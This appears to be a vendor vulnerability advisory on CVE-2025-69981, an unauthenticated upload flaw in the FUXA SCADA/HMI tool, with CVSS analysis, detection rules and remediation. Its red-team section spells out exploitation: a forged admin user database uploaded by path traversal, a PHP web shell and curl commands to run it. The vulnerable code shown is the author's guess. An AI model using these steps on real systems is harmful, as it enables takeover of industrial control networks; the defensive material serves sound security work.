CVE-2025-69981
Executive Summary
CVE-2025-69981 is a critical Unrestricted File Upload vulnerability affecting FUXA v1.2.7, an open-source web-based SCADA/HMI visualization tool. The flaw resides in the /api/upload API endpoint, which lacks any authentication mechanism. This allows an unauthenticated remote attacker to upload arbitrary files to the server. The impact is severe: an attacker can overwrite the SQLite user database (users.db) to create an administrative account, or upload a web shell (e.g., a PHP or ASPX script) to achieve remote code execution (RCE) on the underlying operating system. Given the typical deployment of FUXA in industrial control system (ICS) environments, this vulnerability poses a direct threat to operational technology (OT) networks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
FUXA is distributed as an npm package (fuxa). The vulnerable version (1.2.7) is still available for download. Organizations using this package in their Node.js applications or Docker containers are at immediate risk. There is no patched version available at this time, making this a zero-day supply chain risk.
CVSS Breakdown & Threat Level
CVSS Score: 10.0 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
- Attack Complexity (AC): Low – No special conditions or race conditions are required.
- Privileges Required (PR): None – No authentication is needed.
- User Interaction (UI): None – The attacker does not need to trick a user.
- Scope (S): Unchanged – The vulnerable component and the affected resource are the same.
- Confidentiality (C): High – Full read access to the filesystem and database.
- Integrity (I): High – Full write access to the filesystem and database.
- Availability (A): High – An attacker can delete or corrupt critical files, causing denial of service.
Threat Level: Critical. The combination of no authentication, low complexity, and the ability to achieve RCE makes this a top-priority vulnerability for any organization using FUXA.
Deep Dive & Mechanics
The vulnerability is a classic Unrestricted File Upload (CWE-434). The /api/upload endpoint in FUXA v1.2.7 is implemented in the backend (likely Node.js/Express) and does not perform any of the following checks:
- Authentication/authorization
- File type validation (MIME type, extension)
- File size limits
- Path traversal sanitization
The endpoint accepts a multipart/form-data POST request with a file field. The server saves the uploaded file to a configurable upload directory (default: ./uploads/). Because there is no validation, an attacker can:
- Overwrite the SQLite database: Upload a file named
users.dbto the parent directory (using path traversal like../users.db). This replaces the legitimate user database with a crafted one containing a known password hash for an admin user. - Upload a web shell: Upload a file with a
.php,.jsp,.aspx, or.jsextension (depending on the server configuration). If the server is configured to execute these files (e.g., via Apache mod_php or Node.js static file serving), the attacker can then access the uploaded file via a browser and execute arbitrary commands.
The core issue is the lack of any security middleware on the upload route. The code likely resembles:
app.post('/api/upload', (req, res) => {
const file = req.files.file;
file.mv(`./uploads/${file.name}`, (err) => {
if (err) return res.status(500).send(err);
res.send('File uploaded!');
});
});
Vulnerable vs. Patched Code
Vulnerable Code (FUXA v1.2.7):
// No authentication middleware
// No file validation
app.post('/api/upload', (req, res) => {
const file = req.files.file;
// Path traversal possible via file.name
file.mv(`./uploads/${file.name}`, (err) => {
if (err) return res.status(500).send(err);
res.send('File uploaded!');
});
});
Patched Code (Hypothetical – No official patch available):
// Hypothetical fix
const path = require('path');
const allowedExtensions = ['.png', '.jpg', '.gif', '.svg'];
app.post('/api/upload', authenticate, (req, res) => {
const file = req.files.file;
const ext = path.extname(file.name).toLowerCase();
if (!allowedExtensions.includes(ext)) {
return res.status(400).send('Invalid file type');
}
// Sanitize filename to prevent path traversal
const safeName = path.basename(file.name);
file.mv(`./uploads/${safeName}`, (err) => {
if (err) return res.status(500).send(err);
res.send('File uploaded!');
});
});
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Deploy FUXA v1.2.7 using Docker:
docker run -d -p 80:80 fuxa/fuxa:1.2.7 - Identify the target IP (e.g.,
http://192.168.1.100).
Exploit Steps:
Step 1: Overwrite the SQLite database to gain admin access.
- Create a malicious
users.dbfile. You can use a tool likesqlite3to create a database with a known admin user:
(The hashsqlite3 users.db "CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT, password TEXT, role TEXT);" sqlite3 users.db "INSERT INTO users VALUES (1, 'admin', '5f4dcc3b5aa765d61d8327deb882cf99', 'admin');"5f4dcc3b5aa765d61d8327deb882cf99is MD5 of "password".) - Upload the file with path traversal:
curl -X POST -F "file=@users.db;filename=../users.db" http://192.168.1.100/api/upload - Login with
admin:password.
Step 2: Upload a web shell for RCE.
- Create a simple PHP web shell (if PHP is installed):
<?php system($_GET['cmd']); ?> - Upload it:
curl -X POST -F "file=@shell.php;filename=shell.php" http://192.168.1.100/api/upload - Execute commands:
curl http://192.168.1.100/uploads/shell.php?cmd=id
Blue Team (Defensive)
Detection:
- Monitor for POST requests to
/api/uploadfrom unauthenticated sources. - Alert on file uploads with suspicious extensions (
.php,.jsp,.aspx,.exe,.db). - Monitor for path traversal patterns in the
filenameparameter (e.g.,../).
Hunting:
- Search logs for
POST /api/uploadwith afilenamecontaining../. - Check the
uploads/directory for unexpected files, especiallyusers.dbor executable scripts. - Verify the integrity of the
users.dbfile by comparing its hash to a known good backup.
Containment:
- Immediately block the
/api/uploadendpoint at the web application firewall (WAF) or reverse proxy. - If possible, take the FUXA server offline and restore from a known good backup.
- Change all passwords and rotate API keys.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/api/uploadwith afilenameparameter containing../or..\. - HTTP requests to
/uploads/shell.php,/uploads/cmd.jsp, or similar. - Outbound connections from the FUXA server to unknown IPs on ports 80/443 (C2 callback).
File System IOCs:
- Unexpected files in the
uploads/directory, especially:users.db(if overwritten)shell.php,cmd.jsp,shell.aspx,shell.js- Any file with a double extension (e.g.,
image.php.jpg)
- Modified
users.dbfile with a different hash or size. - New processes spawned from the web server user (e.g.,
cmd.exe,/bin/sh).
Log IOCs:
- Web server logs showing
POST /api/uploadwith a200response code from an IP not in the allowed list. - Error logs showing failed attempts to execute uploaded files (e.g., PHP parse errors).
Detection Engineering
YARA Rule
rule CVE_2025_69981_FUXA_Upload {
meta:
description = "Detects attempts to exploit CVE-2025-69981 by uploading files with path traversal or executable extensions"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-69981"
strings:
$path_traversal = "../" nocase
$php_ext = ".php" nocase
$jsp_ext = ".jsp" nocase
$aspx_ext = ".aspx" nocase
$db_ext = ".db" nocase
$upload_endpoint = "/api/upload" nocase
condition:
any of ($path_traversal, $php_ext, $jsp_ext, $aspx_ext, $db_ext) and $upload_endpoint
}
Sigma Rule
title: FUXA Unrestricted File Upload Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /api/upload with suspicious filenames indicating path traversal or executable uploads.
author: Valters IT
date: 2025/04/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-69981
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/upload'
keywords:
- 'filename=../'
- 'filename=..\\'
- '.php'
- '.jsp'
- '.aspx'
- '.db'
condition: selection and keywords
falsepositives:
- Legitimate file uploads with .db extension (unlikely)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-69981 FUXA Unrestricted File Upload Exploitation"; flow:to_server; http.method; content:"POST"; http.uri; content:"/api/upload"; http.client_body; content:"filename"; pcre:"/filename\s*=\s*.*(?:\.\.\/|\.php|\.jsp|\.aspx|\.db)/i"; classtype:web-application-attack; sid:10000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the
/api/uploadendpoint if not required. This can be done by blocking the route in the web server configuration (e.g., Apache.htaccessor Nginxlocationblock). - Implement a WAF rule to block POST requests to
/api/uploadwith suspicious filenames. - Restrict network access to the FUXA web interface to trusted IPs only (e.g., via firewall rules).
Long-Term Fixes:
- Apply authentication to the
/api/uploadendpoint. Use session-based or token-based authentication. - Validate file uploads:
- Whitelist allowed file extensions (e.g.,
.png,.jpg,.gif). - Sanitize the filename to remove path traversal characters (
../,..\\). - Store files outside the web root or in a non-executable directory.
- Whitelist allowed file extensions (e.g.,
- Monitor for updates from the FUXA project. Since no patch is available, consider forking the project and applying the fixes yourself.
- Conduct a security audit of all other API endpoints in FUXA for similar vulnerabilities.
Workaround:
- If you cannot disable the endpoint, change the upload directory to a non-web-accessible location and ensure the web server cannot execute files in that directory.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert